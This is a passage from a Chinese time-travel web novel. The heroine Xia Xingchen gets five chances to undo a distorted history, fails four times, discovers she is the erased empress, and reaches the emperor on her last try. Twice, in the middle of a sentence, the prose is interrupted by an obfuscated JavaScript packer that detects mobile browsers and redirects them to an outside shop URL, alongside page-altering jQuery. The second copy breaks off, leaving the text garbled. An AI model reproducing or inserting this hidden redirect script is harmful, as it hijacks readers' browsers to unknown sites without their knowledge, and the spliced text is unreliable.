没有理会她的痛苦,那道机械声像是设定好的程序,再次发出了声音:“这块玉佩是秦始皇和皇后的信物,因此它能纠正脱离轨道的历史,使原本存在的皇后归位。既然错误的历史由你而造成,必须由你来纠正。” 夏星辰捕捉到这番话中的关键字眼,她急切地问道:“如何纠正?” “帝王登帝五年,拥有天运五年,然,机会只有五次。让不存在的消失,而原本存在的回到正确的位置上,即可纠正历史,现代人夏星辰方可回到现代!” 听着这毫无温度的机械声音,夏星辰问出了眼下最重要的问题:“若是......失败呢?” “若是失败,新的历史就会被书写,存在过的历史将会彻底被抹除;而穿越者再也回不去现代,第五次失败时,便会随着被抹除的历史而消失。” 这一次,夏星辰算是彻底明白了!她要做的只能是让这一切回到正轨——无论是让原本存在的皇后回到正确的位置上,还是不属于这个时代的她回到现代,只有让本就不存在的苏清夕彻底消失,错误的才能被纠正,存在的历史人物结局也不会如此的不得善终。 而改变这一切的机会,只有五次。 伴随着玉佩上的光芒消失之后,夏星辰再次睁开眼时,发现自己已经回到了苏风逸婚前...... 第一次...... 夏星辰看着铜镜里那张苏清夕的模样,自己虽然理清了所有前因后果,但具体如何实践,却是一头雾水。 “我记得我莫名其妙地睡着了,醒来之后便发生了不可挽救的悲剧。”夏星辰想起了之前自己身体发生的异样,瞬间便将这一切串联了起来:“原来之前的嗜睡是苏清夕要清醒的预兆。” 想到这,她便笑出了声:“若是清醒便是苏清夕夺回这具身体的媒介,那事情......就简单多了。” 夏星辰拿起梳妆桌上的剪刀,做足了心理准备之后,便持着剪刀对准自己的心脏处;剪刀离心脏处只有半寸距离时,动作却停下了。 “我的天啊!自戕真是一件特别需要勇气的事情!” 在她还在做心理斗争之时,那股莫名的困意便再次来袭。夏星辰知道没有多少时间留给自己挣扎了,于是,她重重地吐了一口气后,心一横,剪刀便直直插进了心脏处。 待到意识恢复了之后,夏星辰看到的还是喜堂上的满地狼藉。 “为什么会这样?”话音刚落,她的身体像被瞬间抽干了所有力气,直直地往后倒去。 第二次...... 夏星辰还是坐在梳妆桌前,铜镜里依然是苏清夕的脸。 “自戕不行?那就意味着即便是没有身体这个媒介,苏清夕还是会醒来?”她揉了揉太阳穴,绞尽脑汁地想着破局之法。 “有了!”夏星辰如同第一次那般,再一次拿起了梳妆桌上的剪刀:“只要不让我自己睡过去,一直保持清醒,是不是就行得通了?” 与第一次一样,没有给她过多的时间可以思考;在那股莫名的困意来袭的时候,夏星辰持着剪刀,在自己的手掌心划了一刀,强烈的痛感瞬间席卷全身,本就怕痛的她此时已经站起身在不停地跳脚。 该说不说,这方法的确是奏效,强烈的痛感成功替代了汹涌的困意......但她只是不经意地瞥了一眼铜镜,就这一眼,却似乎让她心跳漏了一拍。 若要用通俗易懂的话来形容的话,就是夏星辰顿感自己像是置身于恐怖片中,让生活在不信鬼怪的现代人亲眼见到了鬼怪,也让此刻坚定的唯物主义者瞬间质疑起自己的信仰...... 因为她从铜镜中清清楚楚地看到苏清夕正在从自己的身体里走了出去,而原本顶着苏清夕模样的自己,也在这一刻变回了属于她夏星辰的真实模样。 顾不上手掌心的剧痛,夏星辰直接往门口跑去,试图以‘凡人之躯’去阻拦即将发生的事情;可跟第一次一样,在她跑到门口的时候,身体的力气瞬间被抽干,又再一次倒在了地上,失去了意识。 第三次...... 相同的场景、相同的人。夏星辰像个被泄了气的气球,失魂落魄地坐在梳妆桌前,想到前两次的失败,她委屈的落下了泪:“我就只是一个普通人,一个不聪明的普通人。” 哭着哭着,便似乎想到了什么,夏星辰粗暴的擦干眼泪,她连忙跑出了房间,刚好撞见了百里。 “百里,你有没有看到墨影姑娘?” 百里抬手指了指不远处正蹲在地上玩蜘蛛的墨影,夏星辰转过身,径直地朝着她跑去。 “墨影,我有事与你说。” 于是,夏星辰没跟她解释太多,便直接拉着她往自己的房间走去。至于夏星辰为何会找墨影帮忙,主要是因为她坚信墨影一定会帮她。 毕竟,之前尧让突发梦魇症之时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895685|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨影在不顾一切让尧让保持清醒的时候,也给了一颗药助她脱离危险。而她选择她还有一个最重要的原因——墨影并没有被苏清夕杀死在喜堂里。 类似于现代游戏的“找不同”,而这唯一的不同之处有可能是破局的关键。 从知道有重新再来的机会时,夏星辰想过找尧让他们,也有想通过提前预知的能力让他们规避危险。但他们是这场悲剧中的核心人物,她根本不确定,走捷径会不会又衍生出更令她无法接受的结果,就像第二次看到那恐怖的场景一样。 而且她没有多少次机会了...... “你说什么?他们都会死?”墨影听着夏星辰这番‘胡言乱语’,眼底充斥着不信与不解:“你这是在打趣我吗?” “我现在没有那么多时间跟你一一解释。你有没有什么药能让我一直保持清醒?或者是能让我变回我自己?” 显然,她最后那句话是墨影这个古代人无法理解的:“什么叫做变回你自己?你是谁?” 对于她的疑惑,夏星辰的语气里也逐渐出现不耐烦:“我只言片语解释不清楚。你就当作有一个鬼怪在我身体里,我现在想要做的就是控制它的行为,不让它去伤害人。” 墨影虽然对她说的话还是一字未懂,但她没有再继续追问下去,而是从药袋里拿出了一粒药:“我虽然不知道你在说什么,但我勉为其难信你一次。这个药是能让你一直保持着你自己的意识,哪怕……哪怕你说控制鬼怪的行为——只要它在你体内,这副身体的一举一动便是由你控制的。” 听到这话,夏星辰总算开心的笑出了声:“我要的就是这个效果!” “但你要明白一件事,如若你吃了这个药,但你说的悲剧还是无法避免的话,那问题也许就不是出现在身体本身。或者是像戏本里说的那样,妖魔鬼怪还是得道士来降服,你要做的就是找到道士。” “我明白,谢谢。” 墨影笑了笑:“待到成功了你再谢我吧!” 那股困意再次来袭时,夏星辰吞下了墨影给的那颗药。几乎是瞬间的事情,她感觉到自己体内像是有一团火在灼烧着,起初还能忍受这份不适感,但随着灼烧感越来越强烈,她便痛得直接在地上打滚。 “好痛啊,怎么那么痛!”渐渐地,那股灼烧感忽的逐渐微弱,夏星辰正疑惑时,身体却不听使唤地站起身。接着就是自己莫名出现在喜堂内,然后被一柄长剑直指着自己的咽喉,而握着长剑的人就是尧让! “阿让!”夏星辰欣喜地往前走了一步,尝试抱住眼前的人。可很快她就发现,身前像是有一道无形的墙,不仅堵住了她与他之间的距离,也隔绝了她说出口的话。 “阿让,阿让,我在这里。” 话音刚落,她便再次看到苏清夕从她的身体走了出来,与第二次一模一样......无论她怎么大声地呐喊,就是没有任何一个人能听到,她也不是没尝试靠蛮力往前走去,可双脚像被灌了水泥,无法动弹半分。 下一刻,这第三次的机会,直接让夏星辰亲眼目睹了尧让、苏风逸以及百里他们是怎样被苏清夕一个个杀掉的...... “不要!不要!”看着手中的长剑穿过苏风逸的胸膛,夏星辰崩溃地喊出了声:“哥哥!” 然后她再也发不出一丝声音,直至自己再一次失去了意识。 第四次...... 这是夏星辰第四次出现在这属于‘出生起点’的房间了。她低下头看着自己的双手,想起那柄穿过苏风逸胸膛的长剑,看着苏风逸在自己面前一点点倒下去......光是想到这画面,她就因为内心无限的恐惧而控制不住自己颤抖的手。 “我杀了哥哥?”夏星辰哭得越来越大声:“是我杀了我哥哥!我没能控制住苏清夕,是我错了!” “陛下吩咐了,以骁虎将军的军功换取明妃娘娘您出这冷宫,日后望自重。” 正处于悲伤之中的夏星辰忽的听到了林贤那熟悉的声音,随即猛地抬起头,这才看清了自己周遭环境的变化。第四次机会与前三次不同,这一次,她居然回到了初次穿越到这个朝代时的冷宫! 有了前三次机会的经验,她很快便发现了这一次不对劲的地方——尧让呢? 她明明记得很清楚,也不可能会忘记,她与尧让的第一次见面就是在冷宫;如今,这一切都变了...... 眼下最重要的一个问题便是——为什么这第四次的机会和前三次不同了?难不成这中间出现了纰漏? 50.鸠占鹊巢 没给她太多可以思考的原因。直到看到苏清夕走出冷宫,夏星辰这才反应过来,连忙偷摸的跟了上去,眼睁睁地看着苏清夕走远。 看着这熟悉的建筑,夏星辰明白这是回到了她第一次穿越到这个朝代的时候。可为何这第四次机会与前三次不同? 最重要的问题是......这一次,她和苏清夕已经真正地彻底分开,不再共享着同一副躯壳!可她不明白导致这一切发生的原因是什么? “这是第四次机会了,我......我真的没有多少时间了。”夏星辰蜷缩在角落里,眼眶里的泪水夺眶而出,瞬间沾湿了脸庞:“损害身体这个媒介行不通,一直保持清醒行不通,甚至用药物试图抑制也行不通,现在我连接触苏清夕的机会也没有了。” 失败一直在循环着、重来着,一次次击溃着夏星辰的精神。但有过这样经历的她明白,若是深陷其中无法摆脱循环,精神力就会一直被折磨着,直到彻底疯掉......这也就意味着从内心上已经接受了这种循环,并将其视作这个世界的合理之处。 可还有机会的话,夏星辰就还想尝试。只是这一次,她决定要好好利用最后的这两次机会...... “既然这也行不通,那也行不通,如此,便尝试一下所谓的‘邪修’吧。”然而,她口中的邪修就是见到尧让,并说明这一切。 前三次她还顶着苏清夕的模样,再加上每一次的“起始地点”都是在将军府,生怕使用所谓的捷径会触发出令她更加无法接受的事情。可这一次不同,她不再是苏清夕,而是原原本本的夏星辰。 下一刻,夏星辰身体一跃,便轻轻松松跃上了城墙。她蛰伏在宫墙之上,远远地看着极咸宫的方向;眼下自己已经不再是顶着苏清夕的面貌,所以她根本不敢靠得太近,一旦被躲在黑暗中的百里发现,被他当成细作,自己就真的是解释不清楚了。 在尧让这个生性多疑的帝王眼中,一旦被他认定为细作,夏星辰估计没有解释机会就已经人头落地了!所以这个邪修方法想要实现是存在难度的,普通人哪有机会见到皇帝! 时辰足足过去了一炷香,夏星辰也逐渐发现一开始的那股莫名困意再也没出现过。起初,她只觉得应该是自己与苏清夕分开的原因,但不知是灵光乍现还是自己愚笨的脑子一下子变聪明的缘故,突然就想到了墨影给的那一粒药。 “没错!这一切发生的根本原因就是墨影给的那一粒药!” 那一粒药药性简直太猛烈了,猛烈到将她和苏清夕彻底地分开了?一旦接受了是这个原因之后,夏星辰就再也没细究过其他的可能性。 当她还在为自己的聪明喝彩时,肚子却突然发起抗议,打破了本该雀跃的氛围。 没错,她饿了! “不行了,太饿了,得先去填饱肚子先。”夏星辰转过身的刹那间,被眼前突然出现的脸吓得整个人直直地往后倒去。 这么高的宫墙,这样摔下去就真的摔成肉泥了!脑海中闪过这个念头之后,她便快速反应过来,往腰间掏出了一把匕首,重重地往墙上一插,紧接着,这把匕首便支撑着她整个人挂在宫墙之上。 闹出这一动静,躲在黑暗里的百里也出现在了宫墙之上,与那人一同俯视着夏星辰。 “你是何人?”导致她如此狼狈的那人语气甚是冷淡。 夏星辰抬起头,看清那人的样貌之后,她激动地热泪盈眶:“哥哥,是我啊,我是小满!” “哥哥?我怎么不知道我还有个妹妹?” “你......你们能不能先帮我弄下去,我再跟你们如实交代,可好?” 下一刻,苏风逸便抓住了她背后的衣襟,将她整个人拎起来,随即稳稳地落于地面。 “你礼貌吗?哪有人像拎小鸡似的拎人啊?”夏星辰不满地朝着苏风逸抱怨着。 苏风逸的指尖在刀柄上的纹路轻轻一按,刀刃迅速隐藏了起来,而后变成了一支看起来奢华的发簪。他拿着发簪,问道:“我再问你一遍,你究竟是谁?为何半夜擅闯皇宫?” “我?我是小满啊。那夏星辰你记得吗?” 看着苏风逸脸上的疑惑逐渐演变成不耐烦的神情之后,夏星辰就更显得委屈,即便如此,她还是认真地解释道:“行,不重要。但你手上的这个发簪是你从边关带回来给我的第一个礼物,哥哥,你有印象吗?” “没有印象。”苏风逸的语气依旧冷淡:“我只有一个妹妹,她叫苏清夕!” “可你自己也说过,我也是你的妹妹啊。”夏星辰用极小的声音嘀咕道:“虽然我的模样变了,但性格喜好那些,与如今的苏清夕完全不同啊。” 苏风逸只觉得她在拖延时间罢了,也不想再与她有过多的纠缠,于是便将手中的发簪塞到她手里,严肃道:“拿好你的东西,跟我走。” “走......走哪里去啊?” “卫司狱。” 卫司狱?夏星辰忽的愣神了一下,她若没记错的话,卫司狱是苏风逸私审犯人的地方,之前就听尧卿说过,苏风逸审犯人的手段可是一个比一个狠毒,比尧让设立的廷尉狱只是有过之而无不及。 这两个人简直就是豺狼虎豹啊! 夏星辰摇了摇头:“我没做什么大逆不道的事情吧?去那里做什么啊?” “我没在跟你商量!要么你老老实实地跟我走,要么,我即刻将你原地斩杀!”说着,苏风逸便缓缓从剑鞘中抽出长剑。 “只有这两条路吗?” “对。” “那我如果赢了你一招半式呢?” 苏风逸握着长剑指着她,冷冷地开口:“若是你赢了我,那我便给你一个开口说话的机会。” “好。”夏星辰点点头,尴尬地笑了笑:“但是在这之前能不能先让我吃顿饭,我已经一天没吃东西了。” 见苏风逸一副明显不信任的神情,她无奈道:“你不给我吃饭,我没力气跟你打,那你便是胜之不武!” “行了!跟我来。” 夏星辰看着黑狸往桌子上放的一碗只有两根青菜的面条,不满地看向苏风逸:“哥哥,你过分了!” “怎么?不满意啊?” “满意才有鬼啊!不是我想吐槽啊,你哪怕是放一块肉也好吧?这素面有什么好吃的?” “既然你如此嫌弃,那就什么都别吃了。”话音刚落,苏风逸刚拿起桌子上的面,却被夏星辰半路截胡:“我哪敢嫌弃啊,吃,我吃还不行吗?” 还真是“虎落平阳被犬欺”! 她坐在发出细微咯吱声的老旧椅子上,低下头狼吞虎咽地吃着面,半句话也没说。吃着吃着似乎是想起过去某一件令她不悦的事情,眼眶里一直强忍着的泪水滴落在了面汤里。 “这么多年我都没挨过饿了,没想到有一日还能像那时候一样挨饿。”夏星辰边咀嚼着边自言自语道:“我真的就只想做一个不饿肚子的普通人而已。” 门外的百里突然出现在苏风逸身边,小声地说道:“蛰伏在宫墙上一炷香的时间,身上只有那支发簪?” 苏风逸点点头。 “那道宫墙离极咸宫和御书房那么远,她的目的不是要刺杀陛下吧?”百里看向苏风逸,语气里带着质疑:“她不会真是你认的妹妹吧?毕竟那支发簪的确是边关之物。” “我有没有认妹妹我自己不知道吗?”苏风逸没忍住对着他翻了个白眼。 百里忍不住吐槽:“万一是你真的忘记了呢?” 苏风逸再一次对他翻了个白眼,然后没再理会他。 夏星辰将碗里的汤一滴不剩地喝干净,然后便抬起手粗暴地擦了擦嘴角。转过身看着门口的二人,神情夹杂着些许委屈道:“我吃好了。” “你使用何种兵器?” “都可以,最擅长的是......长枪!” 下一刻,苏风逸将一杆长枪丢给她,和过往一样,她依然能够轻松地握住长枪。 “看在你是姑娘家的份上,只要你赢我一招,便算你赢。” “那我能不能加个附加条件?” “说。” 夏星辰没作片刻犹豫:“若是我赢了,无论我跟你说什么,你能不能先信我?与我站在同一阵线?” “只要不伤及陛下之事,亦可。” “好。”夏星辰握住长枪直指着他:“那便开始吧。” 百里退到不远处,静静地看着二人比武。毕竟这还是他第一次看到居然有人敢与苏风逸这个骁虎大将军比试,而且还是个姑娘家! 简直是闻所未闻! 苏风逸持着长剑朝着她刺去,对于他这般的攻势,夏星辰都能轻松抵御,甚至还能有两次反击的机会。可下一刻她便后悔了...... 当苏风逸最后那一剑落在她手中的长枪上时,一道强而重的力道使得夏星辰连连后退,甚至直接双脚发软跪在了地上,紧接着便往地上吐了口血。 “你的枪法是谁教你的?”苏风逸走到她身前,冷声问道:“我应当这般问,你究竟是谁?为何会习得陛下的枪法?” “就是......就是他教我的!” “还真是挺巧的,上个细作也是这样同我说的?只是她与你不同的是,她说她是陛下在外心悦的女子。” 手中的长枪掉落在地,夏星辰内心第一次出现妥协的想法,语气无所谓道:“算了,反正无论我说什么,你们都不会信。” 苏风逸看了一眼黑狸,命令道:“将她押进卫司狱,何时交待一切何时放出来。” “是!” “等等!”百里走上前,说道:“要不然就给她一次说话的机会?” “那你如何与陛下交代?一旦她 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苏清夕一把掐住了面前身着凤服的皇后,看着她愈发虚弱的模样,得意的笑道:“皇后娘娘,您安心上路,往后这皇后的位置,本宫便替你坐,年幼的太子,本宫定会视若己出、好生照拂。” “苏清夕,陛下若是知晓,他一定不会放过你的!” “陛下?只要有个如你一般的人重新坐上那皇后的位置,陛下他还会分得清真正的皇后是谁吗?”苏清夕冷哼道:“你不过是一个民间贱民所生的蝼蚁,就凭你,怎配坐得了这皇后的高位?” 听到这话,皇后冷笑出声:“本宫若是蝼蚁,那你便是人人喊打、鸠占鹊巢的怪物!你以为使这些腌臜手段得到的东西就是你的了?你做梦!苏清夕,你要知道,蝼蚁也可撼天!” 一记耳光重重地落在了皇后脸上,让本就因中毒而虚弱的皇后倒在了地上。苏清夕看着她,怒声道:“撼天?蝼蚁就是蝼蚁,只配被本宫无情的踩在地上,任本宫拿捏!瞧瞧,你这个蝼蚁的性命如今不就是被本宫拿捏着吗?本宫要你死你就得死!” 看着倒在地上的皇后彻底无力反抗后,苏清夕对站在一旁的江湖道士说道:“把她的皮扒下来,从此刻起,本宫就是皇后!” 下一刻,门被推开,苏清夕得意的走了出来。当站在门口的夏星辰看清楚她的模样时,顿时就被吓得后退了几步。 “这是怎么回事?苏清夕为什么会跟我长得一模一样?” 正当她陷入疑惑时,苏清夕一步步走到她身边。突然,夏星辰只觉得腹部一股剧痛传来,她低下头,只见苏清夕面无表情地拔出匕首,笑容阴森地看着她:“秦朝只能有一个皇后,这个人只能是本宫!” 随着夏星辰缓缓倒下,眼睁睁地看着苏清夕离开。而这也意味着她第四次机会以失败告终...... 夏星辰再次出现在那片黑暗中。失败的第四次机会与前三次机会一样,一样的使夏星辰感到莫名其妙,一样的令她理不清头绪。 但此时最严重的是夏星辰的内心已经逐渐溃不成军了。只剩下这最后一次机会,她实在不知道自己还能怎么做,该怎么去破局? 她紧紧地攥着尧让给她的那块玉佩,低下头哭道:“你让我打不过敌人就跑,可如今,我又能跑去哪里去呢?” “哪一条路都行不通,无论是什么方法,苏清夕就像打不死的小强一样。”所有夏星辰能想到的办法都失败了之后,正当她决定要放弃的时候,意外瞥了一眼地上的古籍。 “如果......如果没有我的穿越,帝王和皇后就一定会按照历史的进程往前走!那也就是说,即便是苏清夕的存在是他们的障碍,那他们就一定有办法除掉障碍!”想到这,夏星辰拿起古籍一页一页地往后翻。 突然,一张画像从某一页纸里掉了出来。她带着不解拿起那张泛黄的画像,看着画像上与自己样貌长得别无二致、身着凤服的皇后。脑海中的记忆也如走马灯似的浮现了出来,不是夏星辰的,而是独属于这位秦朝第一位皇后的记忆...... 原来,夏星辰一直疑惑着那不存在的皇后在何处时,却从未想过,这皇后一直都存在。她怀疑过任何人,甚至是怀疑历史是否出现偏差,却唯独忽略了自己就是那位皇后、那位被撰写历史之人试图想抹除掉的秦朝皇后。 她的名字没有被记载在帝王撰写的古籍上,记忆中,那位千古一帝一直都叫她小满。 当事实被论证之后,即便夏星辰再愚笨,也能猜到自己穿越到这个朝代的真正原因了。不仅仅只有她是意外,还有那本就不该存在的苏清夕。 夏星辰做的那个梦,根本就不是皇后的真实记忆,而是如果是她失败之后,真正属于这个皇后的历史就会被错误覆盖! 51.篡改帝王的历史 所以,夏星辰在博物馆听到的那句“小满,朕等你很久了!”是真的,以及那说书先生讲的奇事也是真的,包括她的穿越,都绝非偶然。所谓的纠正错误历史,从头到尾纠正的都是......正视这位皇后存在的历史。 夏星辰的意外穿越,让苏清夕没有按照原来的历史早早死去,反倒是差些让这位皇后真正地从历史上消失殆尽。 一切都想通了,她夏星辰与尧让发生的种种,皆是秦始皇和他的皇后真真实实地经历!而夏星辰究竟是当事人还是见证者,这个问题,她也没有再去深究了。 因为她......从古籍上知晓了帝后是如何合力诛杀奸邪的,也知道了为何撰写历史之人要试图抹除掉她的存在。毕竟在男权社会里,他们认为,那样的女子就应当藏住锋芒。 就像很多人不愿意去正视女帝的功绩,而是一味地抓住她的那些‘后宫之事’。 第五次...... 夏星辰再一次从冷宫中偷摸出来之后,她没有与第四次那般的蛰伏在宫墙上,而是光明正大地站在宫墙上,眼神坚定地看着不远处持剑而立的苏风逸。 “我要见陛下!”她言简意赅地向他说出了自己的目的。 听到她这狂妄的发言,苏风逸不禁冷笑:“单枪匹马地闯入皇宫,还如此大言不惭地同我说要见陛下。究竟是你太高估你自己,还是低估我呢?” “苏将军,我不跟你扯过多的解释。我相信你这样的聪明人,不会不知道你妹妹苏清夕背地里所做的事情,也不会不知道她是尧显安插在陛下身边的人。” “所以呢?” “所以......”夏星辰嘴角上扬道:“我不打算跟你解释太多。” 正当苏风逸思考她这句话的意思时,突觉自己的身体瞬间发软,而后更是直接瘫坐在了宫墙上。夏星辰笑着朝他走了过去,笑了笑道:“放心,半个时辰后,这种感觉会消失的!” “你做了什么?” “没什么稀奇的东西,它对你的身体无害,只是一些暂时限制行动的药粉。”话一说完,夏星辰便直接跃下宫墙,往极咸宫的方向跑去了。 这是最后一次机会,夏星辰想过了,自己绝对不能再浪费时间在同苏风逸他们解释上,首要的事情就是要见到尧让。 所以她便想到,既然她打不过苏风逸,那就以‘歪门邪道’取胜。而那限制行动的药粉也全亏了墨影当时给她的配方......这么一想,第三次机会的时候,墨影那番话说得还真是对极了。 鬼怪还是得道士来降服,而夏星辰的任务就是找到“道士”。 赶到极咸宫外,夏星辰刚疑惑自己来极咸宫的这条路为何这般的顺利,正不解地转过弯,却迎面碰上了林贤和百里。 准确来说,是手持武器的二人。 “......”夏星辰汗颜道:“一定要打一架吗?” “你是谁?你把苏将军怎么了?”百里厉声问道。 “我能将他怎么着?我只是让他睡了一觉!”夏星辰手里捏着药粉,本想像对付苏风逸那般悄无声息对付眼前林贤他们,但她刚要抬起手时,一个黑金色龙袍的身影便出现在极咸宫外的走廊上。 “同他们打多没意思啊!” 夏星辰往走廊处看去,迎上了尧让那双好看却异常冰冷的眼睛。她默默地放下手,眼眶瞬间红了,想要开口说些什么,却不知道要说些什么。 如今自己的样貌与他之前所看到的完全不一样,他也会如苏风逸他们一样,认不出来她。结果确实是如夏星辰所想的那般,尧让此时看向她的眼神与陌生人无异。 尧让一步步地朝着她走来,冷声说道:“一路过关斩将来到朕的寝宫,想来你也是个有本事的人!没有对苏风逸下死手,就连朕这两名侍卫,你也只是想用药粉迷倒他们。” “既然如此......”尧让立足于她前方的两步远,平静地说道:“你的目的便不是刺杀,而是有事禀奏!朕说的,可对否?” “对对对!不愧是陛下!”夏星辰就这样笑着看着他,就像以前那样充满了喜欢与敬佩。 尧让冷笑出声:“那你知道无论有何事禀奏,无诏擅闯帝王寝宫,是要人头落地的?” “什么?”夏星辰不禁后退了一步,她怎么从来都没听过还有这条天杀的规定? “亦或者你自认为自己能用些上不得台面的手段在苏风逸手中取胜,便觉得自己在朕的手中也能如此?” 话音刚落,林贤和百里已经自觉的攥紧了拳头。 见状,夏星辰默默地举起了自己的小手,声音极轻:“陛下,我……我不敢啊!再说了,我怎么会是您的对手?药倒苏风逸是我的无心之举,我只是想见到您!” 看着尧让如此冷漠的模样,瞬间让夏星辰回忆起过去费尽心思讨好尧让的记忆,那种从内心而生出的恐惧至今都无法摆脱。 “给你半柱香的时辰,说清楚你的目的!”从尧让的语气中听得出来,他明显是有十足的把握认为就夏星辰一个人是造不成他的威胁的。 夏星辰点点头:“好,时间足够了!” 尧让转过身走进了极咸宫,夏星辰连忙小跑跟上。 偌大的极咸宫内,尧让坐在软榻上,站在他面前的夏星辰看了一眼左右站着、时刻警惕她是否有别的心思的林贤和百里,她只能尴尬地对着二人笑了笑,即便二人一副漠视的表情。 “说吧。” 夏星辰干脆也没有遮遮掩掩,她深知尧让心思缜密,绝非能随意糊弄之人。若是用荒唐的理由搪塞他,恐怕她今日都难活着走出这个大殿;所以除了自己穿越这件事没告诉他之外,别的事全部和盘托出。 听完故事的尧让没忍住看向林贤和百里,显然,他们也同他一样,对夏星辰说的话云里雾里。 “你的意思是……朕会被苏清夕毒杀?” “是啊!” “朕怎么不知道苏清夕还有这般雷霆手段?”尧让讥笑道:“既如此,你有何证据?” 夏星辰一时语塞,她去哪里要证据?古代又没有手机和录音笔!况且,她总不能对他说,他后来爱上了苏清夕,然后苏清夕利用他的信任杀了他吧? 若真的这样说,怕是他会直接将她原地斩杀了! “我没证据!但我说的都是真的!” 见尧让脸上的神情越发的阴沉,她连忙补充道:“但我可以证明!” “哦?”尧让顿时来了兴趣:“如何证明啊?” “莹粹宫里有她藏着的与尧显互通来往的书信与信物。”夏星辰仔细地想了想还有没有缺漏的,片刻后,她继续道:“每月初十的亥时,他们必定会在莹粹宫会面。” “知道的这般详细啊。”尧让嘴角上扬了一抹意味不明的笑容:“既如此,朕还有个不解,你来回答朕。” 在夏星辰一脸疑惑时,他忽的冷声开口:“你若不是细作,也不是来刺杀朕的?那你所求什么?金银珠宝?一官半爵?” “亦或是......”突然,尧让看向她时,眼底闪过一丝杀意:“你想借朕的手除掉你想除掉的人!” 夏星辰的心理素质很差,此时尧让轻易地拆穿了她的心事,让她不禁后背直冒冷汗。没想到,她冥思苦想的计划在这一刻便荡然无存...... 之前,她与尧让在一起之后,竟让她忘记了,尧让这位帝王一直都是异常“恐怖”的存在。 “没......没有啊。”夏星辰不会撒谎,但不自觉低下头的行为已经出卖了她。 可坐在软榻上、目光紧盯着她的帝王却没有追问下去,也没有再说一句话,而是直接转移了话题:“既然你知道有书信往来,那寻证物这件事就你去办。” “百里,你就按照她所说的,明夜亥时就在莹粹宫等着。”似乎想到了什么,尧让再次补充道:“切记莫要打草惊蛇!” 百里点点头:“是!” “我......我能不能提一个小小的问题啊?”夏星辰看着尧让脸上没有任何表情,便将话直接讲完:“我自己一个人去吗?” “怎么?要朕陪你去?” “不敢不敢!我自己一个人去就行了。”她的声音极其的小,生怕他听出了自己的不满。 而后,她没有“利用价值”之后,尧让就极其冷漠的将她赶出了极咸宫。 夏星辰看着紧闭的殿门,小声地嘀咕道:“臭男人,也不懂说安排一个住处给我先,大半夜的,我总不能随便找一个地方睡觉吧?一点都不绅士。” 她正愁着今夜去何处歇息时,便想到了一件尤为重要的事情:“妈呀,差点就忘记了最重要的事情。”于是,夏星辰便立刻往某个方向跑去。 “陛下,她往莹粹宫的方向去了。”百里轻声地说道:“需要属下去跟着吗?” “不用,朕去就行。” 此话一出,百里和林贤惊讶地面面相觑;他们虽心有疑惑,但也没细问,只能微微点了点头。 眼前这高耸的宫墙,夏星辰只是轻轻一跃,就稳稳地翻了过去。她蹑手蹑脚地从窗户跳进了苏清夕的内殿,接着便是掀开了一块地砖。 看着被自己之前藏起来的那一小箱金银珠宝,开心地笑道:“哈哈哈,我的小宝贝们还在呢。” 夏星辰也有疑惑过她与苏清夕的身体分开之后,为何她成为苏清夕的那段时间所发生的事情有些会留有痕迹,有些事又只有她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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此时的夏星辰是真的想给自己一拳头,虽然说是因为苏清夕的出现而让正确的历史脱离了轨道,但最根本的原因还是因为自己的这场穿越而让本就不存在的苏清夕存在了那么久,才会生出这些本来可以避免掉的祸端。 所以间接来说,篡改帝王历史的帮凶是自己! ...... 之前是因为自己占据了苏清夕这副身体,也因为自己一次次地拒绝了尧显投来的好意,所以她根本不知道不拒绝尧显的苏清夕会做出什么事情,故事又会如何发展;眼下,也只能见招拆招了。 她抱着小箱子,往宫墙上一跃,随即便稳稳落地,开开心心地准备离开。刚转过墙角,夏星辰便迎面撞上了一个高大的身影,她下意识地出手攻击,却被那人死死地牵制住了双手,手中的箱子也掉落在地,伴随着的就是洒落一地的金银珠宝。 夏星辰抬头看着眼前之人,在看到是尧让后,不禁松了口气:“陛下,怎么是您啊?” 尧让没回答她的问题,松开她的手后,目光就一直落在地上的金银珠宝上:“怎么?这莹粹宫竟然有你藏起来的金银珠宝啊?” “这个......说来话长。”夏星辰连忙蹲在地上将自己的财产重新放进小箱子里,尴尬地笑道:“如果我说这些本来就是我的,您信吗?” “朕只在意书信!” “哦,有的有的。”夏星辰从袖口里拿出了一沓子信件,然后全部交到他的手里:“这就是全部了。” 至于为何夏星辰能如此顺利找到信件,因为这些信件本来就是她藏起来的。以前她虽然拒绝了尧显的好意,但架不住他时常给苏清夕写信,当时夏星辰只想着在尧让身边活命,这种解释不清楚的信件当然得藏起来了。 尧让简单地看了看几封信的内容之后,再看着夏星辰略显得意的神情后,冷笑道:“你这还真是螳螂捕蝉黄雀在后啊。” “哎呀,我就有那一丢丢聪明啦。” “你这是当朕夸你呢?” 夏星辰挠了挠头,笑道:“难道......不是吗?” “拿好你这箱子,同朕来。” “哦。”夏星辰抱着箱子默默地跟在他身后,因为他身高太高,让小短腿的她追随得有些困难,随即她不满地开口:“陛下,我脚短,您等一下我。” 可那狗皇帝却像没听到一样,继续迈着大步伐往前走着,使得夏星辰忍不住低声骂道:“狗皇帝!” “你嘀咕些什么呢?” 面对尧让突然间的提问,她假笑道:“我夸赞陛下长得好看呢。” “快些走。” “我走得很快了。”夏星辰一旦小跑起来,箱子里的黄金也跟着晃动。随即便萌生出了一个惊人的想法:“下次找机会多让狗皇帝赐我些金银珠宝,把这箱子填满,这样就不会晃动了。” 似乎觉得自己的这个想法很是完美,不禁笑出了声。 52.不愧是朕教出来的 御书房内的氛围如死一般寂静。龙椅上的尧让正认真地查看着那些信件的内容,随着一封又一封的信件被他丢至一旁,脸上的杀意就多了一分。 